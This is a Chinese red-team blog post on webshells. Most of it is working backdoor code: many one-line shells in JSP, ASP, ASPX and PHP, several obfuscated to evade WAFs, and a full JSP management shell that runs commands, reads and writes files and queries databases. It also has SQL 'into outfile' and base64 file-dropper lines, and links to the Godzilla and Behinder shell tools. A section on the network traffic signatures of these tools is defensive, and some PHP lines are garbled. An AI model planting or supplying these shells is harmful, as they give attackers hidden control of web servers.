• 红队专题-新型webshell的研究


    在这里插入图片描述

    新型webshell的研究

    招募六边形战士队员

    一起学习 代码审计、安全开发、web攻防、逆向等。。。
    私信联系
    在这里插入图片描述

    介绍

    Webshell通常指JSP、ASP、PHP 等网页脚本文件形式存在的一种服务器可执行文件,一般带有文件操作、命令执行功能,是一种网页后门。

    攻击者在入侵一个网站后,通常会将 Webshell 后门文件与网站服务器Web目录下正常的网页文件混在一起,使用浏览器或专用客户端进行连接,从而得到一个服务器操作环境,以达到控制网站服务器的目的。

    不同的脚本名称划分

    JSP 型

    JSP全称Java Server Pages,是一种动态Web资源的开发技术。
    JSP 是在传统的网页HTML 文件(.htm,.html)中插入Java程序段(scriptlet)和 JSP 标记(tag),从而形成JSP 文件(*.jsp)。

    <%Runtime.getRuntime().exec(request.getParameter("i"));%>
    
    
    
    <%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
    
    
    select ‘<?php eval($_POST[cmd];?>’ into outfile ‘C:/Inetpub/wwwroot/mysql-php/1.php’
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    ASP 型

    ASP全称Active Sever Page,是服务器开发专用脚本。
    它可以与数据库和其他程序进行交互,是在 IIS 中运行的一种程序。

    <%eval request("cmd")%>
    
    <%execute(request(“cmd”))%>
    <%execute request(1)%>
    ASP一句话16进制:┼攠數畣整爠煥敵瑳∨≡┩愾 密码a
    "%><%Eval(Request(chr(112)))%><%’ p
    
    
    <%Y=request(“xindong”)%> <%execute(Y)%>
    
    
    <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“xindong”))%>
    
    
    <%eval""&(“e”&“v”&“a”&“l”&"("&“r”&“e”&“q”&“u”&“e”&“s”&“t”&"("&0&"-"&2&"-"&5&")"&")")%>(密码是-7)
    
    
    
    密码(pass)
    
    
    <% %>
    
    
    <%a=request(“zl”)%><%eval a%>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    jsp??pwd=023&i=whoami

    <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
    <%!String Pwd = "pass";
    
        String EC(String s, String c) throws Exception {
       
            return s;
        }//new String(s.getBytes("ISO-8859-1"),c);}
    
        Connection GC(String s) throws Exception {
       
            String[] x = s.trim().split("\r\n");
            Class.forName(x[0].trim()).newInstance();
            Connection c = DriverManager.getConnection(x[1].trim());
            if (x.length > 2) {
       
                c.setCatalog(x[2].trim());
            }
            return c;
        }
    
        void AA(StringBuffer sb) throws Exception {
       
            File r[] = File.listRoots();
            for (int i = 0; i < r.length; i++) {
       
                sb.append(r[i].toString().substring(0, 2));
            }
        }
    
        void BB(String s, StringBuffer sb) throws Exception {
       
            File oF = new File(s), l[] = oF.listFiles();
            String sT, sQ, sF = "";
            java.util.Date dt;
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            for (int i = 0; i < l.length; i++) {
       
                dt = new java.util.Date(l[i].lastModified());
                sT = fm.format(dt);
                sQ = l[i].canRead() ? "R" : "";
                sQ += l[i].canWrite() ? " W" : "";
                if (l[i].isDirectory()) {
       
                    sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
                            + "\t" + sQ + "\n");
                } else {
       
                    sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
                            + sQ + "\n";
                }
            }
            sb.append(sF);
        }
    
        void EE(String s) throws Exception {
       
            File f = new File(s);
            if (f.isDirectory()) {
       
                File x[] = f.listFiles();
                for (int k = 0; k < x.length; k++) {
       
                    if (!x[k].delete()) {
       
                        EE(x[k].getPath());
                    }
                }
            }
            f.delete();
        }
    
        void FF(String s, HttpServletResponse r) throws Exception {
       
            int n;
            byte[] b = new byte[512];
            r.reset();
            ServletOutputStream os = r.getOutputStream();
            BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
            os.write(("->" + "|").getBytes(), 0, 3);
            while ((n = is.read(b, 0, 512)) != -1) {
       
                os.write(b, 0, n);
            }
            os.write(("|" + "<-").getBytes(), 0, 3);
            os.close();
            is.close();
        }
    
        void GG(String s, String d) throws Exception {
       
            String h = "0123456789ABCDEF";
            int n;
            File f = new File(s);
            f.createNewFile();
            FileOutputStream os = new FileOutputStream(f);
            for (int i = 0; i < d.length(); i += 2) {
       
                os
                        .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
                                .charAt(i + 1))));
            }
            os.close();
        }
    
        void HH(String s, String d) throws Exception {
       
            File sf = new File(s), df = new File(d);
            if (sf.isDirectory()) {
       
                if (!df.exists()) {
       
                    df.mkdir();
                }
                File z[] = sf.listFiles();
                for (int j = 0; j < z.length; j++) {
       
                    HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
                }
            } else {
       
                FileInputStream is = new FileInputStream(sf);
                FileOutputStream os = new FileOutputStream(df);
                int n;
                byte[] b = new byte[512];
                while ((n = is.read(b, 0, 512)) != -1) {
       
                    os.write(b, 0, n);
                }
                is.close();
                os.close();
            }
        }
    
        void II(String s, String d) throws Exception {
       
            File sf = new File(s), df = new File(d);
            sf.renameTo(df);
        }
    
        void JJ(String s) throws Exception {
       
            File f = new File(s);
            f.mkdir();
        }
    
        void KK(String s, String t) throws Exception {
       
            File f = new File(s);
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            java.util.Date dt = fm.parse(t);
            f.setLastModified(dt.getTime());
        }
    
        void LL(String s, String d) throws Exception {
       
            URL u = new URL(s);
            int n;
            FileOutputStream os = new FileOutputStream(d);
            HttpURLConnection h = (HttpURLConnection) u.openConnection();
            InputStream is = h.getInputStream();
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
       
                os.write(b, 0, n);
            }
            os.close();
            is.close();
            h.disconnect();
        }
    
        void MM(InputStream is, StringBuffer sb) throws Exception {
       
            String l;
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            while ((l = br.readLine()) != null) {
       
                sb.append(l + "\r\n");
            }
        }
    
        void NN(String s, StringBuffer sb) throws Exception {
       
            Connection c = GC(s);
            ResultSet r = c.getMetaData().getCatalogs();
            while (r.next()) {
       
                sb.append(r.getString(1) + "\t");
            }
            r.close();
            c.close();
        }
    
        void OO(String s, StringBuffer sb) throws Exception {
       
            Connection c = GC(s);
            String[] t = {
        "TABLE" };
            ResultSet r = c.getMetaData().getTables(null, null, "%", t);
            while (r.next()) {
       
                sb.append(r.getString("TABLE_NAME") + "\t");
            }
            r.close();
            c.close();
        }
    
        void PP(String s, StringBuffer sb) throws Exception {
       
            String[] x = s.trim().split("\r\n");
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1007);
            ResultSet r = m.executeQuery("select * from " + x[3]);
            ResultSetMetaData d = r.getMetaData();
            for (int i = 1; i <= d.getColumnCount(); i++) {
       
                sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
                        + ")\t");
            }
            r.close();
            m.close();
            c.close();
        }
    
        void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
       
            int i;
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1008);
            try {
       
                ResultSet r = m.executeQuery(q);
                ResultSetMetaData d = r.getMetaData();
                int n = d.getColumnCount();
                for (i = 1; i <= n; i++) {
       
                    sb.append(d.getColumnName(i) + "\t|\t");
                }
                sb.append("\r\n");
                while (r.next()) {
       
                    for (i = 1; i <= n; i++) {
       
                        sb.append(EC(r.getString(i), cs) + "\t|\t");
                    }
                    sb.append("\r\n");
                }
                r.close();
            } catch (Exception e) {
       
                sb.append("Result\t|\t\r\n");
                try {
       
                    m.executeUpdate(q);
                    sb.append("Execute Successfully!\t|\t\r\n");
                } catch (Exception ee) {
       
                    sb.append(ee.toString() + "\t|\t\r\n");
                }
            }
            m.close();
            c.close();
        }%>
         
         
    <%
        String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
        request.setCharacterEncoding(cs);
        response.setContentType("text/html;charset=" + cs);
        String Z = EC(request.getParameter(Pwd) + "", cs);
        String z1 = EC(request.getParameter("z1") + "", cs);
        String z2 = EC(request.getParameter("z2") + "", cs);
        StringBuffer sb = new StringBuffer("");
        try {
       
            sb.append("->" + "|");
            if (Z.equals("A")) {
       
                String s = new File(application.getRealPath(request
                        .getRequestURI())).getParent();
                sb.append(s + "\t");
                if (!s.substring(0, 1).equals("/")) {
       
                    AA(sb);
                }
            } else if (Z.equals("B")) {
       
                BB(z1, sb);
            } else if (Z.equals("C")) {
       
                String l = "";
                BufferedReader br = new BufferedReader(
                        new InputStreamReader(new FileInputStream(new File(
                                z1))));
                while ((l = br.readLine()) != null) {
       
                    sb.append(l + "\r\n");
                }
                br.close();
            } else if (Z.equals("D")) {
       
                BufferedWriter bw = new BufferedWriter(
                        new OutputStreamWriter(new FileOutputStream(
                                new File(z1))));
                bw.write(z2);
                bw.close();
                sb.append("1");
            } else if (Z.equals("E")) {
       
                EE(z1);
                sb.append("1");
            } else if (Z.equals("F")) {
       
                FF(z1, response);
            } else if (Z.equals("G")) {
       
                GG(z1, z2);
                sb.append("1");
            } else if (Z.equals("H")) {
       
                HH(z1, z2);
                sb.append("1");
            } else if (Z.equals("I")) {
       
                II(z1, z2);
                sb.append("1");
            } else if (Z.equals("J")) {
       
                JJ(z1);
                sb.append("1");
            } else if (Z.equals("K")) {
       
                KK(z1, z2);
                sb.append("1");
            } else if (Z.equals("L")) {
       
                LL(z1, z2);
                sb.append("1");
            } else if (Z.equals("M")) {
       
                String[] c = {
        z1.substring(2), z1.substring(0, 2), z2 };
                Process p = Runtime.getRuntime().exec(c);
                MM(p.getInputStream(), sb);
                MM(p.getErrorStream(), sb);
            } else if (Z.equals("N")) {
       
                NN(z1, sb);
            } else if (Z.equals("O")) {
       
                OO(z1, sb);
            } else if (Z.equals("P")) {
       
                PP(z1, sb);
            } else if (Z.equals("Q")) {
       
                QQ(cs, z1, z2, sb);
            }
        } catch (Exception e) {
       
            sb.append("ERROR" + ":// " + e.toString());
        }
        sb.append("|" + "<-");
        out.print(sb.toString());
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226
    • 227
    • 228
    • 229
    • 230
    • 231
    • 232
    • 233
    • 234
    • 235
    • 236
    • 237
    • 238
    • 239
    • 240
    • 241
    • 242
    • 243
    • 244
    • 245
    • 246
    • 247
    • 248
    • 249
    • 250
    • 251
    • 252
    • 253
    • 254
    • 255
    • 256
    • 257
    • 258
    • 259
    • 260
    • 261
    • 262
    • 263
    • 264
    • 265
    • 266
    • 267
    • 268
    • 269
    • 270
    • 271
    • 272
    • 273
    • 274
    • 275
    • 276
    • 277
    • 278
    • 279
    • 280
    • 281
    • 282
    • 283
    • 284
    • 285
    • 286
    • 287
    • 288
    • 289
    • 290
    • 291
    • 292
    • 293
    • 294
    • 295
    • 296
    • 297
    • 298
    • 299
    • 300
    • 301
    • 302
    • 303
    • 304
    • 305
    • 306
    • 307
    • 308
    • 309
    • 310
    • 311
    • 312
    • 313
    • 314
    • 315
    • 316
    • 317
    • 318
    • 319
    • 320
    • 321
    • 322
    • 323
    • 324
    • 325
    • 326
    • 327
    • 328
    • 329
    • 330
    • 331
    • 332
    • 333
    • 334
    • 335
    • 336
    • 337
    • 338
    • 339
    • 340
    • 341
    • 342
    • 343
    • 344
    • 345
    • 346
    • 347
    • 348
    • 349
    • 350
    • 351
    • 352
    • 353
    • 354
    • 355
    • 356
    • 357
    • 358
    • 359
    • 360
    • 361
    • 362
    • 363
    • 364

    Aspx

    <%@ Page Language = Jscript %>
    <%var/-/-/P/-/-/=/-/-/“e”+“v”+/-/-/
    “a”+“l”+"("+“R”+“e”+/-/-/“q”+“u”+“e”/-/-/+“s”+“t”+
    “[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]”+
    “,”+"""+“u”+“n”+“s”/-/-/+“a”+“f”+“e”+"""+")";eval
    (/-/-/P/-/-/,/-/-/“u”+“n”+“s”/-/-/+“a”+“f”+“e”/-/-/);%> 密码 -7
    
    
    <%@ Page Language=“Jscript”%><%eval(Request.Item[“xindong”],“unsafe”);%>
    
    
    密码是webadmin
    
    
    
    
    <%@ Page Language=“Jscript” validateRequest=false%><%Response.Write(eval(Request.Item[“w”],“unsafe”));%>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    PHP 型

    PHP 全称 Hypertext Preprocessor,是一种通用开源脚本语言,主要适用于 Web开发领域。
    PHP可支持常见的数据库及操作系统,可快速地执行动态网页。

    <?php $a=exec($_GET["input"]); echo $a;?>
    <?php eval($_POST['pass']);?>
    <?php @eval($_POST['cc123']);?>
    
    <?php @eval($_request['shell']);?>
    <? @system($_GET["cc"]); ?>
    
    
    
    
    <?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xindong"]); ?>
    
    
    <?php $lang = (string)key($_POST);$lang($_POST['xindong']);?>
    
    
    <?php $k="ass"."ert"; $k(${
       "_PO"."ST"} ['xindong']);?>
    
    
    <?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST["xindong"]);  ?>
    
    
    <?php                  
    @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
    @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
    @$_/*-/*-*/($/*-/*-*/{
       "_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
    [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>    密码是  -7
    
    
    
    select '' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
    
    
    
    
    
    
    
    
    <?php $_=""; $_[+$_]++; $_=$_.""; $___=$_[+""];//A $____=$___; $____++;//B $_____=$____; $_____++;//C $______=$_____; $______++;//D $_______=$______; $_______++;//E $________=$_______; $________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O $_________=$________; $_________++;$_________++;$_________++;$_________++;//S $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++;$________++;$________++;//R $_____=$_________; $_____++;//T $__=$___.$_________.$_________.$_______.$________.$_____; $__($_("ZXZhbCgkX1BPU1RbMV0p")); ?>  
    t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=
    t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=
    t.$ttt; $s($_REQUEST['cc']);?> <?php $t=$_GET['t']; //t=tt $tt=$_GET['tt']; //tt=as $ttt=$_GET['ttt']; //ttt=s $tttt=$_GET['tttt']; //ttt=ert $s=
    t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=
    t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=
    t.
    ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=
    ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=
    a.
    d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=
    d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=
    b; $d($_REQUEST['cc']); ?>
    PHP过狗
    <?php if($_POST[x]!=''){
       $a="base64_decode"; eval($a($_POST[z0]));}?> 密码:x
    <%a=request(“gold”)%><%eval a%>
    
    
    fuck<?php
    eval
    ($_POST
    [a])
    ?>
    
    
    <?php $a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]); $b(${
       chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]); ?> 密码 4
    该日志目录不存在或权限不足,请检查设置!<?php
    eval
    ($_POST
    [a])
    ?>
    
    
    
    
    
    
    
    
    
    <?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['sz']); ?> <?php $k="ass"."ert"; $k(${
       "_PO"."ST"} ['sz']);?> <?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?>
    这个是90发的<?php
    
    
    @$_=“s”.“s”./-/-/“e”./-/-/“r”;
    
    
    @= / ∗ − / ∗ − ∗ / &quot; a &quot; . / ∗ − / ∗ − ∗ / _=/*-/*-*/&quot;a&quot;./*-/*-*/ 
    =
    
     /∗−/∗−∗/"a"./∗−/∗−∗/_./-/-*/“t”;
    
    
    @/ ∗ − / ∗ − ∗ / ( _/*-/*-*/( 
    /
    
     ∗−/∗−∗/(/-/-/{
       "_P"./-/-/“OS”./-/-*/“T”}
    
    
    [/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]);?>
    
    
    密码-7
    
    phpv9 高版本拿shell
    
    <?php file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+')); ?>////html/special/cc/index
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113

    菜蚁冰哥的流量特征

    https://mp.weixin.qq.com/s/IncD-3qC_wcQJ5j9Evoksw
    
    
    
    Wireshark
    
    ip.dst == 192.168.31.64 && tcp.port == 80
    HTTP协议进行分析
    WebShell是通过HTTP协议进行远程控制的一种方式。
    
    
    HTTP请求和响应报文的内容
    HTTP头部的字段等
    
    
    菜刀base64加密
    请求头 User-Agent存在百度或者火狐
    请求体 存在QGluaV9zZXQ攻击的开头部分后面的部分需要base64解码
    z0(也会修改)跟随后面的payload的base64的数据。
    
    z0是菜刀的默认参数
    
    eval也会替换成assert的方式(可能是拼接) 
    url解码->base64解码
    
    
    蚁剑 使用的AES加密算法进行加密的,同时使用了自定义的二进制协议在通信传输各种类型数据
    请求中的User-Agent值是:antSword/*
    也有可能是:
    Mozilla/5.0 (Windows NT ***) AppleWebKit/*** (KHTML, like Gecko) Chrome/***** Safari/****
    
    请求中可以检测到的关键字:“eval””eVAL”
    请求体存在@ini_set("display_errors", "0");@set_time_limit(0);(开头可能是菜刀或者是蚁剑)
    
    
    明显参数多数是_0x......=这种形式所以_0x开头的参数名,以及dirname、get_current_user函数的字眼
    后面为加密数据的数据包可以鉴定为蚁剑的流量特征
    
    命令执行时有目录标记[S]、[E]、[R]、[D]、等,说明已经拿到shell了(在执行系统
    
    payload特征
    
    php assert、eval关键字执行,
    
    asp eval
    
    在jsp使用 
    Java 同时会带有base64编码解码等字符特征
    
    
    
    冰蝎 AES(对称加密)16位密钥和base64编码
    Accept字段:
    
    请求头中存在Accept: application/json, text/javascript, */*; q=0.01
    
    也有可能Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2  
    
    Content-Type: application/octet-stream ******
    
    q=0.8
    
    userAgent字段:
    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
    Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0
    Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299
    Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
    Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
    Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
    Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
    Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
    Mozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
    
    
    
    Cinnection子段:
    
    Connection: Keep-Alive
    
    (冰蝎默认使用的长连接是为了避免频繁的握手造成的资源丢失)
    
    
    
    哥斯拉
    
    Cookie的结尾会出现分号
    
    Accept头是
    Accept参数是哥斯拉固定的
    Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8  
    
    Cache-Control头是
    
    Cache-Control: no-store, no-cache, must-revalidate
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101

    冰蝎

    冰蝎v3.0操作使用手册 - rebeyond

    (https://www.cnblogs.com/rebeyond/p/14723316.html)

    冰蝎——二次开发打造私人专属利器

    冰蝎"是一个动态二进制加密网站管理客户端。在实战中,第一代webshell管理工具"菜刀"的流量特征非常明显,很容易就被安全设备检测到。基于流量加密的webshell变得越来越多,"冰蝎"为此应运而生。  
            很多小伙伴,有对冰蝎二次开发以达到修改流量特征、增加功能的需求,本文详细写了如何给冰蝎增加功能,以供小伙伴们参考。
    
    • 1
    • 2

    冰蝎4.0 Liu量魔改的方式

    https://mp.weixin.qq.com/s/4GCg1FTZG0ufgWHa2YD8PA
    冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式
    
    # 0x01传输协议分析
    
    冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    菜刀

    哥斯拉

    蚁剑和冰蝎、哥斯拉的区别
    
    
    
    冰蝎,流量加密,难以被检测、webshell免杀性好、加密方式:AES加密
    
    
    蚁剑,就和菜刀差不多,没啥区别
    
    
    哥斯拉,他可以过一些waf,还有自带的插件
    
    https://github.com/BeichenDream/Godzilla
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    
    
    • 1

    天蝎

    
    https://github.com/shack2/skyscorpion
    
    
    • 1
    • 2
    • 3

    中国蚁剑

    RequestTemplate

    内网
    https://github.com/1n7erface/RequestTemplate
    
    • 1
    • 2

    Gel4y Webshell

    一个使用 PHP 编程语言构建的后门,
    
    采用 PHP 程序方法在隐身模式下,文件大小不会超过 15KB。
    
    每个功能都被转换为十六进制代码,
    以允许此 webshell 穿透 WAF(防火墙)服务器系统。
    
    主要功能:多文件上传、创建文件夹和文件,文件,
    
    可绕过403禁止,406不可接受,免疫360。
    
    
    直接上传网站后台,然后访问该文件,效果如下:
    
    https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor
    
    E:\hack\道普内部武器库\Webshell集合\Gel4y-Mini-Shell-Backdoor-1.1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    分块传输

    
    
    
    【第8周】编写Burp分块传输插件绕WAF
     2019-03-15 11:36
    https://mp.weixin.qq.com/s/uHfGI6O7-FbFfXWD_YY3yQ
    分块传输绕WAF在年初的《利用分块传输吊打所有WAF》
    
    
    T00ls上看到大佬们在编写sqlmap的tamp脚本,过程中遇到了比较难解决的一个问题,对sqlmap数据包加入Transfer-Encoding: ChunkedHTTP头。
    
    
    Bypass!Burp分块传输绕WAF插件
    https://mp.weixin.qq.com/s/36ks8L0dTXp27eC6hV_S3g
    
    
    延时分块传输
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    PHP从零学习到Webshell免杀手册

    https://github.com/AabyssZG/WebShell-Bypass-Guide

    https://blog.zgsec.cn/index.php/archives/197

    渊龙Sec安全团队成员AabyssZG编写

    
    一、PHP相关资料
    PHP官方手册: https://www.php.net/manual/zh/
    PHP函数参考: https://www.php.net/manual/zh/funcref.php
    菜鸟教程: https://www.runoob.com/php/php-tutorial.html
    w3school: https://www.w3school.com.cn/php/index.asp
    渊龙Sec安全团队导航: https://dh.aabyss.cn
    二、PHP函数速查
    0# PHP基础
    0.0 PHP基础格式
    <?php
        //执行的相关PHP代码
    ?>
    这是一个PHP文件的基本形式
    
    0.1 .=+=赋值
    $a = 'a'; //赋值
